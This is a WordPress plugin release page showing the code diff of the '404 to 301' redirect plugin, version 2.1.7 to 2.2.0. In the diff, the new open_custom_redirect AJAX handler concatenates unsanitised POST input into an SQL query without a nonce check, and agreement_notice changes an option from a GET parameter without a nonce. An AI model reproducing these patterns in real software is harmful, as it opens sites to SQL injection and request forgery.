404 to 301 - Version 2.2.0

Version Description

(09/05/2016) = New Feature

  • Now you can set custom redirects for reach error path.
  • Goto error logs list and set custom redirect.

Improvements

  • Improved code.
Download this release

Release Info

Developer joelcj91
Plugin Icon 128x128 404 to 301
Version 2.2.0
Comparing to
See all releases

Code changes from version 2.1.7 to 2.2.0

404-to-301.php CHANGED
@@ -3,7 +3,7 @@
3
  * Plugin Name: 404 to 301
4
  * Plugin URI: https://thefoxe.com/products/404-to-301/
5
  * Description: Automatically redirect all <strong>404 errors</strong> to any page using <strong>301 redirect for SEO</strong>. You can <strong>redirect and log</strong> every 404 errors. No more 404 errors in Webmaster tool.
6
- * Version: 2.1.7
7
  * Author: Joel James
8
  * Author URI: https://thefoxe.com/
9
  * Donate link: https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=XUVWY8HUBUXY4
@@ -24,72 +24,89 @@
24
  *
25
  * You should have received a copy of the GNU General Public License
26
  * along with 404 to 301. If not, see <http://www.gnu.org/licenses/>.
27
- *
28
- * @package I4T3
29
  * @category Core
30
- * @author Joel James
31
- * @version 2.1.7
 
 
32
  */
33
  // If this file is called directly, abort.
34
- if (!defined('WPINC')) {
35
- die('Damn it.! Dude you are looking for what?');
36
  }
37
 
38
- if (!defined('I4T3_PATH')) {
39
- define('I4T3_PATH', plugins_url('/404-to-301/'));
40
- }
41
- if (!defined('I4T3_PLUGIN_DIR')) {
42
- define('I4T3_PLUGIN_DIR', __FILE__);
43
- }
44
- if (!defined('I4T3_SETTINGS_PAGE')) {
45
- define('I4T3_SETTINGS_PAGE', admin_url('admin.php?page=i4t3-settings'));
46
- }
47
- if (!defined('I4T3_LOGS_PAGE')) {
48
- define('I4T3_LOGS_PAGE', admin_url('admin.php?page=i4t3-logs'));
49
- }
50
- if (!defined('I4T3_DB_VERSION')) {
51
- define('I4T3_DB_VERSION', '3');
52
- }
53
- if (!defined('I4T3_VERSION')) {
54
- define('I4T3_VERSION', '2.1.7');
55
- }
56
- // Set who all can access 404 settings. You can change this if you want to give others access.
57
- if (!defined('I4T3_ADMIN_PERMISSION')) {
58
- define('I4T3_ADMIN_PERMISSION', 'manage_options');
59
- }
60
 
61
- /**
62
- * The code that runs during plugin activation.
63
- * This action is documented in includes/class-dcl-activator.php
64
- */
65
- function activate_i4t3() {
66
- require_once plugin_dir_path(__FILE__) . 'includes/class-404-to-301-activator.php';
67
- _404_To_301_Activator::activate();
68
- }
69
 
70
- register_activation_hook(__FILE__, 'activate_i4t3');
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
71
 
72
- /**
73
- * The core plugin class that is used to define
74
- * dashboard-specific hooks, and public-facing site hooks.
75
- */
76
- require_once plugin_dir_path(__FILE__) . 'includes/class-404-to-301.php';
77
 
78
- /**
79
- * Begins execution of the plugin.
80
- *
81
- * Since everything within the plugin is registered via hooks,
82
- * then kicking off the plugin from this point in the file does
83
- * not affect the page life cycle.
84
- *
85
- * @since 2.0.0
86
- */
87
- function run_i4t3() {
 
 
 
88
 
89
- $plugin = new _404_To_301();
90
- $plugin->run();
91
- }
92
 
93
- run_i4t3();
 
 
94
 
95
  //*** Thank you for your interest in 404 to 301 - Developed and managed by Joel James ***//
3
  * Plugin Name: 404 to 301
4
  * Plugin URI: https://thefoxe.com/products/404-to-301/
5
  * Description: Automatically redirect all <strong>404 errors</strong> to any page using <strong>301 redirect for SEO</strong>. You can <strong>redirect and log</strong> every 404 errors. No more 404 errors in Webmaster tool.
6
+ * Version: 2.2.0
7
  * Author: Joel James
8
  * Author URI: https://thefoxe.com/
9
  * Donate link: https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=XUVWY8HUBUXY4
24
  *
25
  * You should have received a copy of the GNU General Public License
26
  * along with 404 to 301. If not, see <http://www.gnu.org/licenses/>.
27
+ *
 
28
  * @category Core
29
+ * @package I4T3
30
+ * @author Joel James <me@joelsays.com>
31
+ * @license http://www.gnu.org/licenses/ GNU General Public License
32
+ * @link https://thefoxe.com/products/404-to-301
33
  */
34
  // If this file is called directly, abort.
35
+ if ( ! defined( 'WPINC' ) ) {
36
+ die( 'Damn it.! Dude you are looking for what?' );
37
  }
38
 
39
+ if ( ! class_exists( '_404_To_301' ) ) {
40
+
41
+ // Constants array
42
+ $constants = array(
43
+ 'I4T3_NAME' => '404-to-301',
44
+ 'I4T3_DOMAIN' => '404-to-301',
45
+ 'I4T3_PATH' => plugins_url( '/404-to-301/' ),
46
+ 'I4T3_PLUGIN_DIR' => dirname(__FILE__),
47
+ 'I4T3_BASE' => __FILE__,
48
+ 'I4T3_SETTINGS_PAGE' => admin_url( 'admin.php?page=i4t3-settings' ),
49
+ 'I4T3_HELP_PAGE' => admin_url( 'admin.php?page=i4t3-settings&tab=credits' ),
50
+ 'I4T3_LOGS_PAGE' => admin_url( 'admin.php?page=i4t3-logs' ),
51
+ 'I4T3_DB_VERSION' => '4',
52
+ 'I4T3_VERSION' => '2.2.0',
53
+ 'I4T3_TABLE' => $GLOBALS['wpdb']->prefix . '404_to_301',
54
+ // Set who all can access 404 settings.
55
+ // You can change this if you want to give others access.
56
+ 'I4T3_ADMIN_PERMISSION' => 'manage_options'
57
+ );
 
 
 
58
 
59
+ foreach ($constants as $constant => $value) {
60
+ // Define constants if not defined already
61
+ if (!defined($constant)) {
62
+ define($constant, $value);
63
+ }
64
+ }
 
 
65
 
66
+ /**
67
+ * The function that runs during plugin activation.
68
+ *
69
+ * @since 2.0.0
70
+ * @access public
71
+ *
72
+ * @return void
73
+ */
74
+ function activate_i4t3() {
75
+
76
+ include_once I4T3_PLUGIN_DIR . '/includes/class-404-to-301-activator.php';
77
+
78
+ _404_To_301_Activator::activate();
79
+ }
80
+
81
+ // plugin activation hook
82
+ register_activation_hook(__FILE__, 'activate_i4t3');
83
 
84
+ /**
85
+ * The core plugin class that is used to define
86
+ * dashboard-specific hooks, and public-facing site hooks.
87
+ */
88
+ require_once plugin_dir_path(__FILE__) . 'includes/class-404-to-301.php';
89
 
90
+ /**
91
+ * Begins execution of the plugin.
92
+ *
93
+ * Since everything within the plugin is registered via hooks,
94
+ * then kicking off the plugin from this point in the file does
95
+ * not affect the page life cycle.
96
+ *
97
+ * @since 2.0.0
98
+ * @access public
99
+ *
100
+ * @return void
101
+ */
102
+ function run_i4t3() {
103
 
104
+ $plugin = new _404_To_301();
105
+ $plugin->run();
106
+ }
107
 
108
+ run_i4t3();
109
+
110
+ }
111
 
112
  //*** Thank you for your interest in 404 to 301 - Developed and managed by Joel James ***//
admin/class-404-to-301-admin.php CHANGED
@@ -1,4 +1,5 @@
1
  <?php
 
2
  // If this file is called directly, abort.
3
  if (!defined('WPINC')) {
4
  die('Damn it.! Dude you are looking for what?');
@@ -10,72 +11,45 @@ if (!defined('WPINC')) {
10
  * Defines the plugin name, version, and enqueue the dashboard-specific stylesheet, JavaScript
11
  * and all other admin side functions.
12
  *
13
- * @link https://thefoxe.com/products/404-to-301/
14
- * @since 2.0.0
15
  * @package I4T3
16
- * @subpackage I4T3/admin
17
  * @author Joel James <me@joelsays.com>
 
 
18
  */
19
  class _404_To_301_Admin {
20
 
21
- /**
22
- * The ID of this plugin.
23
- *
24
- * @since 2.0.0
25
- * @access private
26
- * @var string $plugin_name The ID of this plugin.
27
- */
28
- private $plugin_name;
29
-
30
- /**
31
- * The version of this plugin.
32
- *
33
- * @since 2.0.0
34
- * @access private
35
- * @var string $version The current version of this plugin.
36
- */
37
- private $version;
38
-
39
- /**
40
- * The table name of this plugin.
41
- *
42
- * @since 2.0.0
43
- * @access private
44
- * @var string $table The table name of this plugin in db.
45
- */
46
- private $table;
47
-
48
  /**
49
  * The options from db.
50
  *
51
- * @since 2.0.0
52
- * @access private
53
- * @var string $gnrl_options Get the options saved in db.
54
  */
55
  private $gnrl_options;
56
 
57
  /**
58
- * The options from db.
59
  *
60
- * @since 2.1.0
61
- * @access private
62
- * @var mixed $list_table Class object for listing table.
63
  */
64
  private $list_table;
65
 
66
  /**
67
  * Initialize the class and set its properties.
68
  *
69
- * @since 2.0.0
70
- * @var string $plugin_name The name of this plugin.
71
- * @var string $version The version of this plugin.
72
- * @var string $table The name of the database table of this plugin.
 
 
73
  */
74
- public function __construct($plugin_name, $version, $table) {
75
 
76
- $this->plugin_name = $plugin_name;
77
- $this->version = $version;
78
- $this->table = $table;
79
  $this->gnrl_options = get_option('i4t3_gnrl_options');
80
  }
81
 
@@ -85,15 +59,24 @@ class _404_To_301_Admin {
85
  * This function is used to register all the required stylesheets for
86
  * dashboard. Styles will be registered only for i4t3 pages for performance.
87
  *
88
- * @since 2.0.0
89
- * @uses wp_enqueue_style To register style
 
 
 
90
  */
91
  public function enqueue_styles() {
92
 
93
  global $pagenow;
94
 
95
- if (( $pagenow == 'admin.php' ) && ( in_array($_GET['page'], array('i4t3-settings', 'i4t3-logs')))) {
96
- wp_enqueue_style($this->plugin_name, plugin_dir_url(__FILE__) . 'css/min/admin.css', array(), $this->version, 'all');
 
 
 
 
 
 
97
  }
98
  }
99
 
@@ -103,15 +86,24 @@ class _404_To_301_Admin {
103
  * This function is used to register all the required scripts for
104
  * dashboard. Scripts will be registered only for i4t3 pages for performance.
105
  *
106
- * @since 2.0.0
107
- * @uses wp_enqueue_script To register script
 
 
 
108
  */
109
  public function enqueue_scripts() {
110
 
111
  global $pagenow;
112
 
113
- if (( $pagenow == 'admin.php' ) && ( in_array($_GET['page'], array('i4t3-settings')))) {
114
- wp_enqueue_script($this->plugin_name, plugin_dir_url(__FILE__) . 'js/admin.js', array('jquery'), $this->version, false);
 
 
 
 
 
 
115
  }
116
  }
117
 
@@ -120,17 +112,20 @@ class _404_To_301_Admin {
120
  *
121
  * If 404 to 301 is upgraded, we may need to perform few updations in db
122
  *
123
- * @since 2.0.0
124
- * @uses get_option() To get the activation redirect option from db.
125
- * @return void.
 
 
126
  */
127
  public function i4t3_upgrade_if_new() {
128
 
129
- if (!get_option('i4t3_version_no') || ( get_option('i4t3_version_no') < I4T3_VERSION )) {
130
- if (class_exists('_404_To_301_Activator')) {
131
  _404_To_301_Activator::activate();
132
  }
133
- update_option('i4t3_version_no', I4T3_VERSION);
 
134
  }
135
  }
136
 
@@ -140,41 +135,47 @@ class _404_To_301_Admin {
140
  * Using filter to change email notification recipient address from
141
  * default admin email.
142
  *
143
- * @since 2.0.7
144
- * @uses get_option() To get the email address option from db.
145
- * @return $email Email address to be used for notification.
 
 
146
  */
147
- public function i4t3_change_notify_email($email) {
148
- if (!empty($this->gnrl_options['email_notify_address'])) {
 
149
  $email_option = $this->gnrl_options['email_notify_address'];
150
- if (is_email($email_option)) {
151
  $email = $email_option;
152
  }
153
  }
 
154
  return $email;
155
  }
156
 
157
  /**
158
  * Creating admin menus for 404 to 301.
159
  *
160
- * @since 2.0.0
161
- * @author Joel James
162
- * @uses action hook add_submenu_page Action hook to add new admin menu sub page.
 
 
163
  */
164
  public function i4t3_create_404_to_301_menu() {
165
 
166
  // Error log menu
167
  $hook = add_menu_page(
168
- __('404 Error Logs', '404-to-301'),
169
- __('404 Error Logs', '404-to-301'),
170
  I4T3_ADMIN_PERMISSION,
171
  'i4t3-logs',
172
- array($this, 'i4t3_render_list_page'),
173
  'dashicons-redo',
174
  90
175
  );
176
 
177
- add_action("load-$hook", array($this, 'screen_option'));
178
 
179
  // 404 to 301 settings menu
180
  add_submenu_page(
@@ -183,19 +184,23 @@ class _404_To_301_Admin {
183
  __('404 Settings', '404-to-301'),
184
  I4T3_ADMIN_PERMISSION,
185
  'i4t3-settings',
186
- array($this, 'i4t3_admin_page')
187
  );
188
 
 
189
  do_action('i4t3_admin_page');
190
  }
191
 
192
  /**
193
  * To set the screen of the error listing page.
194
  *
195
- * @since 2.1.0
196
- * @author Joel James.
 
 
197
  */
198
- public static function set_screen($status, $option, $value) {
 
199
  return $value;
200
  }
201
 
@@ -205,29 +210,35 @@ class _404_To_301_Admin {
205
  * This function is used to show screen options like entries per page,
206
  * show/hide columns etc.
207
  *
208
- * @since 2.1.0
209
- * @author Joel James.
 
 
210
  */
211
  public function screen_option() {
212
 
213
  $option = 'per_page';
214
  $args = array(
215
  'label' => __('Error Logs', '404-to-301'),
216
- 'default' => 5,
217
  'option' => 'logs_per_page'
218
  );
219
 
220
- add_screen_option($option, $args);
221
 
222
- $this->list_table = new _404_To_301_Logs($this->table);
223
  }
224
 
225
  /**
226
  * Output buffer function
227
  *
228
  * To avoid header already sent issue
229
- * @link https://tommcfarlin.com/wp_redirect-headers-already-sent/
230
- * @since 2.1.4
 
 
 
 
231
  */
232
  public function add_buffer() {
233
 
@@ -237,12 +248,14 @@ class _404_To_301_Admin {
237
  /**
238
  * Creating log table page.
239
  *
240
- * @since 2.0.0
241
- * @author Joel James
242
- * @uses class _404_To_301_Logs To initialize and load the log listing table.
 
 
243
  */
244
- public function i4t3_render_list_page() {
245
- ?>
246
  <div class="wrap">
247
  <h2><?php _e('404 Error Logs', '404-to-301'); ?></h2>
248
 
@@ -262,19 +275,24 @@ class _404_To_301_Admin {
262
  <br class="clear">
263
  </div>
264
  </div>
 
265
  <?php
266
  }
267
 
268
  /**
269
  * Rename admin menu text to : 404 to 301.
270
  *
271
- * @since 2.0.0
272
- * @author Joel James
273
- * @var global $menu menus registered in this site.
 
 
274
  */
275
  public function i4t3_rename_plugin_menu() {
 
276
  global $menu;
277
- $menu[90][0] = __('404 to 301', '404-to-301'); // Change menu text
 
278
  }
279
 
280
  /**
@@ -283,12 +301,14 @@ class _404_To_301_Admin {
283
  * Includes admin page contents to manage i4t3 settings.
284
  * All html parts will be included in this page.
285
  *
286
- * @since 2.0.0
287
- * @author Joel James
 
 
288
  */
289
  public function i4t3_admin_page() {
290
 
291
- require plugin_dir_path(__FILE__) . 'partials/404-to-301-admin-display.php';
292
  }
293
 
294
  /**
@@ -297,14 +317,17 @@ class _404_To_301_Admin {
297
  * WordPress settings API.
298
  * If we want to register another setting, we can include that here.
299
  *
300
- * @since 2.0.0
301
- * @author Joel James
302
- * @action hooks register_setting Hook to register i4t3 options in db.
 
 
303
  */
304
  public function i4t3_options_register() {
305
 
306
  register_setting(
307
- 'i4t3_gnrl_options', 'i4t3_gnrl_options'
 
308
  );
309
  }
310
 
@@ -313,20 +336,24 @@ class _404_To_301_Admin {
313
  *
314
  * Function to alter the default footer text to show i4t3 credits only on i4t3 pages.
315
  *
316
- * @since 2.0.0
317
- * @author Joel James
 
 
318
  */
319
- function i4t3_dashboard_footer() {
320
-
 
321
  global $pagenow;
322
- if (( $pagenow == 'admin.php' ) && ( in_array($_GET['page'], array('i4t3-settings', 'i4t3-logs')))) {
 
323
 
324
  _e('Thank you for choosing 404 to 301 to improve your website', '404-to-301');
325
  echo ' | ';
326
  _e('Kindly give this plugin a', '404-to-301');
327
  echo '<a href="https://wordpress.org/support/view/plugin-reviews/404-to-301?filter=5#postform">';
328
  _e('rating', '404-to-301');
329
- echo ' &#9733; &#9733;</a>';
330
  } else {
331
  return;
332
  }
@@ -338,19 +365,150 @@ class _404_To_301_Admin {
338
  * Function to add a quick link to i4t3, when being listed on your
339
  * plugins list view.
340
  *
341
- * @since 2.0.0
342
- * @return $links Links to display.
343
- * @author Joel James
 
344
  */
345
  public function i4t3_plugin_action_links($links, $file) {
 
346
  $plugin_file = basename('404-to-301.php');
347
- if (basename($file) == $plugin_file) {
 
348
  $settings_link = '<a href="admin.php?page=i4t3-settings">' . __('Settings', '404-to-301') . '</a>';
349
  $settings_link .= ' | <a href="admin.php?page=i4t3-logs">' . __('Logs', '404-to-301') . '</a>';
350
- array_unshift($links, $settings_link);
 
351
  }
 
352
  return $links;
353
  }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
354
 
355
  /**
356
  * Get debug data.
@@ -385,7 +543,7 @@ class _404_To_301_Admin {
385
  $html .= '<h4>' . __('Basic Details', '404-to-301') . '</h4><p>
386
  ' . __('WordPress Version', '404-to-301') . ' : ' . get_bloginfo('version') . '<br/>
387
  ' . __('PHP Version', '404-to-301') . ' : ' . PHP_VERSION . '<br/>
388
- ' . __('Plugin Version', '404-to-301') . ' : ' . $this->version . '<br/>
389
  ' . __('Home Page', '404-to-301') . ' : ' . home_url() . '<br/></p><hr/>';
390
 
391
  if ($active_theme->exists()) {
@@ -407,5 +565,4 @@ class _404_To_301_Admin {
407
 
408
  return $html;
409
  }
410
-
411
  }
1
  <?php
2
+
3
  // If this file is called directly, abort.
4
  if (!defined('WPINC')) {
5
  die('Damn it.! Dude you are looking for what?');
11
  * Defines the plugin name, version, and enqueue the dashboard-specific stylesheet, JavaScript
12
  * and all other admin side functions.
13
  *
14
+ * @category Core
 
15
  * @package I4T3
16
+ * @subpackage Admin
17
  * @author Joel James <me@joelsays.com>
18
+ * @license http://www.gnu.org/licenses/ GNU General Public License
19
+ * @link https://thefoxe.com/products/404-to-301
20
  */
21
  class _404_To_301_Admin {
22
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
23
  /**
24
  * The options from db.
25
  *
26
+ * @since 2.0.0
27
+ * @access private
28
+ * @var string $gnrl_options Get the options saved in db.
29
  */
30
  private $gnrl_options;
31
 
32
  /**
33
+ * The logs list table.
34
  *
35
+ * @since 2.1.0
36
+ * @access private
37
+ * @var mixed $list_table Class object for listing table.
38
  */
39
  private $list_table;
40
 
41
  /**
42
  * Initialize the class and set its properties.
43
  *
44
+ * @since 2.0.0
45
+ * @access public
46
+ *
47
+ * @var string $gnrl_options The option settings of the plugin.
48
+ *
49
+ * @return void
50
  */
51
+ public function __construct() {
52
 
 
 
 
53
  $this->gnrl_options = get_option('i4t3_gnrl_options');
54
  }
55
 
59
  * This function is used to register all the required stylesheets for
60
  * dashboard. Styles will be registered only for i4t3 pages for performance.
61
  *
62
+ * @since 2.0.0
63
+ * @access public
64
+ * @uses wp_enqueue_style To register style
65
+ *
66
+ * @return void
67
  */
68
  public function enqueue_styles() {
69
 
70
  global $pagenow;
71
 
72
+ if( ( $pagenow == 'admin.php' ) && ( in_array( $_GET['page'], array('i4t3-settings', 'i4t3-logs' ) ) ) ) {
73
+ wp_enqueue_style(
74
+ I4T3_NAME,
75
+ plugin_dir_url(__FILE__) . 'css/min/admin.css',
76
+ array(),
77
+ I4T3_VERSION,
78
+ 'all'
79
+ );
80
  }
81
  }
82
 
86
  * This function is used to register all the required scripts for
87
  * dashboard. Scripts will be registered only for i4t3 pages for performance.
88
  *
89
+ * @since 2.0.0
90
+ * @access public
91
+ * @uses wp_enqueue_script To register script
92
+ *
93
+ * @return void
94
  */
95
  public function enqueue_scripts() {
96
 
97
  global $pagenow;
98
 
99
+ if( ( $pagenow == 'admin.php' ) && ( in_array( $_GET['page'], array( 'i4t3-settings', 'i4t3-logs' ) ) ) ) {
100
+ wp_enqueue_script(
101
+ I4T3_NAME,
102
+ plugin_dir_url(__FILE__) . 'js/admin.js',
103
+ array('jquery'),
104
+ I4T3_VERSION,
105
+ false
106
+ );
107
  }
108
  }
109
 
112
  *
113
  * If 404 to 301 is upgraded, we may need to perform few updations in db
114
  *
115
+ * @since 2.0.0
116
+ * @access public
117
+ * @uses get_option() To get the activation redirect option from db.
118
+ *
119
+ * @return void
120
  */
121
  public function i4t3_upgrade_if_new() {
122
 
123
+ if( ! get_option( 'i4t3_version_no' ) || ( get_option( 'i4t3_version_no' ) < I4T3_VERSION ) ) {
124
+ if( class_exists( '_404_To_301_Activator' ) ) {
125
  _404_To_301_Activator::activate();
126
  }
127
+ // update plugin version
128
+ update_option('i4t3_version_no', I4T3_VERSION );
129
  }
130
  }
131
 
135
  * Using filter to change email notification recipient address from
136
  * default admin email.
137
  *
138
+ * @since 2.0.7
139
+ * @access public
140
+ * @uses get_option() To get the email address option from db.
141
+ *
142
+ * @return string $email.
143
  */
144
+ public function i4t3_change_notify_email( $email ) {
145
+
146
+ if( ! empty( $this->gnrl_options['email_notify_address'] ) ) {
147
  $email_option = $this->gnrl_options['email_notify_address'];
148
+ if( is_email( $email_option ) ) {
149
  $email = $email_option;
150
  }
151
  }
152
+
153
  return $email;
154
  }
155
 
156
  /**
157
  * Creating admin menus for 404 to 301.
158
  *
159
+ * @since 2.0.0
160
+ * @access public
161
+ * @uses action hook add_submenu_page Action hook to add new admin menu sub page.
162
+ *
163
+ * @return void
164
  */
165
  public function i4t3_create_404_to_301_menu() {
166
 
167
  // Error log menu
168
  $hook = add_menu_page(
169
+ __( '404 Error Logs', '404-to-301' ),
170
+ __( '404 Error Logs', '404-to-301' ),
171
  I4T3_ADMIN_PERMISSION,
172
  'i4t3-logs',
173
+ array( $this, 'i4t3_render_list_page' ),
174
  'dashicons-redo',
175
  90
176
  );
177
 
178
+ add_action( "load-$hook", array( $this, 'screen_option' ) );
179
 
180
  // 404 to 301 settings menu
181
  add_submenu_page(
184
  __('404 Settings', '404-to-301'),
185
  I4T3_ADMIN_PERMISSION,
186
  'i4t3-settings',
187
+ array( $this, 'i4t3_admin_page' )
188
  );
189
 
190
+ // admin menu item acion hook
191
  do_action('i4t3_admin_page');
192
  }
193
 
194
  /**
195
  * To set the screen of the error listing page.
196
  *
197
+ * @since 2.1.0
198
+ * @access public
199
+ *
200
+ * @return string
201
  */
202
+ public static function set_screen( $status, $option, $value ) {
203
+
204
  return $value;
205
  }
206
 
210
  * This function is used to show screen options like entries per page,
211
  * show/hide columns etc.
212
  *
213
+ * @since 2.1.0
214
+ * @access public
215
+ *
216
+ * @return void
217
  */
218
  public function screen_option() {
219
 
220
  $option = 'per_page';
221
  $args = array(
222
  'label' => __('Error Logs', '404-to-301'),
223
+ 'default' => 20,
224
  'option' => 'logs_per_page'
225
  );
226
 
227
+ add_screen_option( $option, $args );
228
 
229
+ $this->list_table = new _404_To_301_Logs();
230
  }
231
 
232
  /**
233
  * Output buffer function
234
  *
235
  * To avoid header already sent issue
236
+ *
237
+ * @link https://tommcfarlin.com/wp_redirect-headers-already-sent/
238
+ * @since 2.1.4
239
+ * @access public
240
+ *
241
+ * @return void
242
  */
243
  public function add_buffer() {
244
 
248
  /**
249
  * Creating log table page.
250
  *
251
+ * @since 2.0.0
252
+ * @access public
253
+ * @uses class _404_To_301_Logs To initialize and load the log listing table.
254
+ *
255
+ * @return void
256
  */
257
+ public function i4t3_render_list_page() { ?>
258
+
259
  <div class="wrap">
260
  <h2><?php _e('404 Error Logs', '404-to-301'); ?></h2>
261
 
275
  <br class="clear">
276
  </div>
277
  </div>
278
+
279
  <?php
280
  }
281
 
282
  /**
283
  * Rename admin menu text to : 404 to 301.
284
  *
285
+ * @since 2.0.0
286
+ * @access public
287
+ * @var global $menu Menus registered in this site.
288
+ *
289
+ * @return void
290
  */
291
  public function i4t3_rename_plugin_menu() {
292
+
293
  global $menu;
294
+ // change menu text
295
+ $menu[90][0] = __('404 to 301', '404-to-301');
296
  }
297
 
298
  /**
301
  * Includes admin page contents to manage i4t3 settings.
302
  * All html parts will be included in this page.
303
  *
304
+ * @since 2.0.0
305
+ * @access public
306
+ *
307
+ * @return void
308
  */
309
  public function i4t3_admin_page() {
310
 
311
+ include_once I4T3_PLUGIN_DIR . '/admin/partials/404-to-301-admin-display.php';
312
  }
313
 
314
  /**
317
  * WordPress settings API.
318
  * If we want to register another setting, we can include that here.
319
  *
320
+ * @since 2.0.0
321
+ * @access public
322
+ * @uses hooks register_setting Hook to register i4t3 options in db.
323
+ *
324
+ * @return void
325
  */
326
  public function i4t3_options_register() {
327
 
328
  register_setting(
329
+ 'i4t3_gnrl_options',
330
+ 'i4t3_gnrl_options'
331
  );
332
  }
333
 
336
  *
337
  * Function to alter the default footer text to show i4t3 credits only on i4t3 pages.
338
  *
339
+ * @since 2.0.0
340
+ * @access public
341
+ *
342
+ * @return mixed
343
  */
344
+ public function i4t3_dashboard_footer() {
345
+
346
+ // current page global var
347
  global $pagenow;
348
+
349
+ if( ( $pagenow == 'admin.php' ) && ( in_array( $_GET['page'], array( 'i4t3-settings', 'i4t3-logs' ) ) ) ) {
350
 
351
  _e('Thank you for choosing 404 to 301 to improve your website', '404-to-301');
352
  echo ' | ';
353
  _e('Kindly give this plugin a', '404-to-301');
354
  echo '<a href="https://wordpress.org/support/view/plugin-reviews/404-to-301?filter=5#postform">';
355
  _e('rating', '404-to-301');
356
+ echo ' &#9733; &#9733; &#9733; &#9733; &#9733;</a>';
357
  } else {
358
  return;
359
  }
365
  * Function to add a quick link to i4t3, when being listed on your
366
  * plugins list view.
367
  *
368
+ * @since 2.0.0
369
+ * @access public
370
+ *
371
+ * @return array $links Links to display.
372
  */
373
  public function i4t3_plugin_action_links($links, $file) {
374
+
375
  $plugin_file = basename('404-to-301.php');
376
+
377
+ if ( basename( $file ) == $plugin_file ) {
378
  $settings_link = '<a href="admin.php?page=i4t3-settings">' . __('Settings', '404-to-301') . '</a>';
379
  $settings_link .= ' | <a href="admin.php?page=i4t3-logs">' . __('Logs', '404-to-301') . '</a>';
380
+
381
+ array_unshift( $links, $settings_link );
382
  }
383
+
384
  return $links;
385
  }
386
+
387
+ /**
388
+ * This function includes required scripts for custom modal
389
+ *
390
+ * This function registers scripts required for WordPress
391
+ * thickbox modal.
392
+ *
393
+ * @since 2.1.1
394
+ * @access public
395
+ *
396
+ * @return void
397
+ */
398
+ public function add_thickbox() {
399
+
400
+ return add_thickbox();
401
+ }
402
+
403
+ /**
404
+ * Get custom redirect modal content
405
+ *
406
+ * @global object $wpdb WP DB object
407
+ * @since 2.2.0
408
+ * @access public
409
+ *
410
+ * @note Always die() for wp_ajax
411
+ *
412
+ * @return JSON
413
+ */
414
+ public function open_custom_redirect() {
415
+
416
+ // verify if required value is available
417
+ if ( ! isset( $_POST['url_404'] ) || is_null( $_POST['url_404'] ) ) {
418
+ die();
419
+ }
420
+ // 404 path url
421
+ $url_404 = trim( $_POST['url_404'] );
422
+
423
+ global $wpdb;
424
+ // make sure that the errors are hidden
425
+ $wpdb->hide_errors();
426
+ // get the custom redirect data for the given 404 path
427
+ $sql = "SELECT redirect FROM " . I4T3_TABLE . " WHERE url = '" . $url_404 . "' AND redirect IS NOT NULL LIMIT 0,1";
428
+ $url = $wpdb->get_var($sql);
429
+ // make sure that the result is not error
430
+ $url = ( empty( $url ) ) ? '' : $url;
431
+ // make response array
432
+ $data = array(
433
+ 'url_404' => $url_404,
434
+ 'url' => $url
435
+ );
436
+ // resturn josn output and die
437
+ wp_send_json( $data );
438
+ }
439
+
440
+ /**
441
+ * Save custom redirect value
442
+ *
443
+ * @global object $wpdb WP DB object
444
+ * @since 2.2.0
445
+ * @access public
446
+ *
447
+ * @note Always die() for wp_ajax
448
+ *
449
+ * @return void
450
+ */
451
+ public function save_custom_redirect() {
452
+
453
+ // verify the nonce for ajax
454
+ $secure = check_ajax_referer( 'i4t3_custom_redirect_nonce', 'nonce', false );
455
+ if( ! $secure ) {
456
+ die( 'Go take a bath' );
457
+ }
458
+
459
+ // if required values are not given, kill
460
+ if ( ! isset( $_POST['url_404'] ) || ! isset( $_POST['url'] ) ) {
461
+ die();
462
+ }
463
+ // get the required values from request
464
+ $url_404 = $_POST['url_404'];
465
+ $url = $_POST['url'];
466
+
467
+ global $wpdb;
468
+ // make sure that the errors are hidden
469
+ $wpdb->hide_errors();
470
+ // update the custom redirect value for the 404 path
471
+ $wpdb->query(
472
+ $wpdb->prepare(
473
+ "UPDATE " . I4T3_TABLE . "
474
+ SET redirect = '%s'
475
+ WHERE url = '%s'",
476
+ $url,
477
+ $url_404
478
+ )
479
+ );
480
+
481
+ die();
482
+ }
483
+
484
+ /**
485
+ * This function displays the custom redirect modal html content
486
+ *
487
+ * @since 2.2.0
488
+ * @acess public
489
+ *
490
+ * @return void
491
+ */
492
+ public function get_redirect_content() {
493
+
494
+ include_once I4T3_PLUGIN_DIR . '/admin/partials/404-to-301-admin-custom-redirect.php';
495
+ }
496
+
497
+ /**
498
+ * This function updates terms and conditions options
499
+ *
500
+ * @since 2.2.0
501
+ * @acess public
502
+ *
503
+ * @return void
504
+ */
505
+ public function agreement_notice() {
506
+
507
+ if( isset( $_GET['i4t3_agreement'] ) ) {
508
+ $agreement = ($_GET['i4t3_agreement'] == 0) ? 0 : 1;
509
+ update_option( 'i4t3_agreement', $agreement );
510
+ }
511
+ }
512
 
513
  /**
514
  * Get debug data.
543
  $html .= '<h4>' . __('Basic Details', '404-to-301') . '</h4><p>
544
  ' . __('WordPress Version', '404-to-301') . ' : ' . get_bloginfo('version') . '<br/>
545
  ' . __('PHP Version', '404-to-301') . ' : ' . PHP_VERSION . '<br/>
546
+ ' . __('Plugin Version', '404-to-301') . ' : ' . I4T3_VERSION . '<br/>
547
  ' . __('Home Page', '404-to-301') . ' : ' . home_url() . '<br/></p><hr/>';
548
 
549
  if ($active_theme->exists()) {
565
 
566
  return $html;
567
  }
 
568
  }
admin/class-404-to-301-logs.php CHANGED
@@ -13,10 +13,10 @@ if (!defined('WPINC')) {
13
  if (!class_exists('WP_List_Table_404')) {
14
 
15
  global $wp_version;
16
- if ($wp_version >= 4.4) {
17
- require_once plugin_dir_path(dirname(__FILE__)) . 'admin/core/class-wp-list-table-4.4.php';
18
  } else {
19
- require_once plugin_dir_path(dirname(__FILE__)) . 'admin/core/class-wp-list-table-old.php';
20
  }
21
  }
22
 
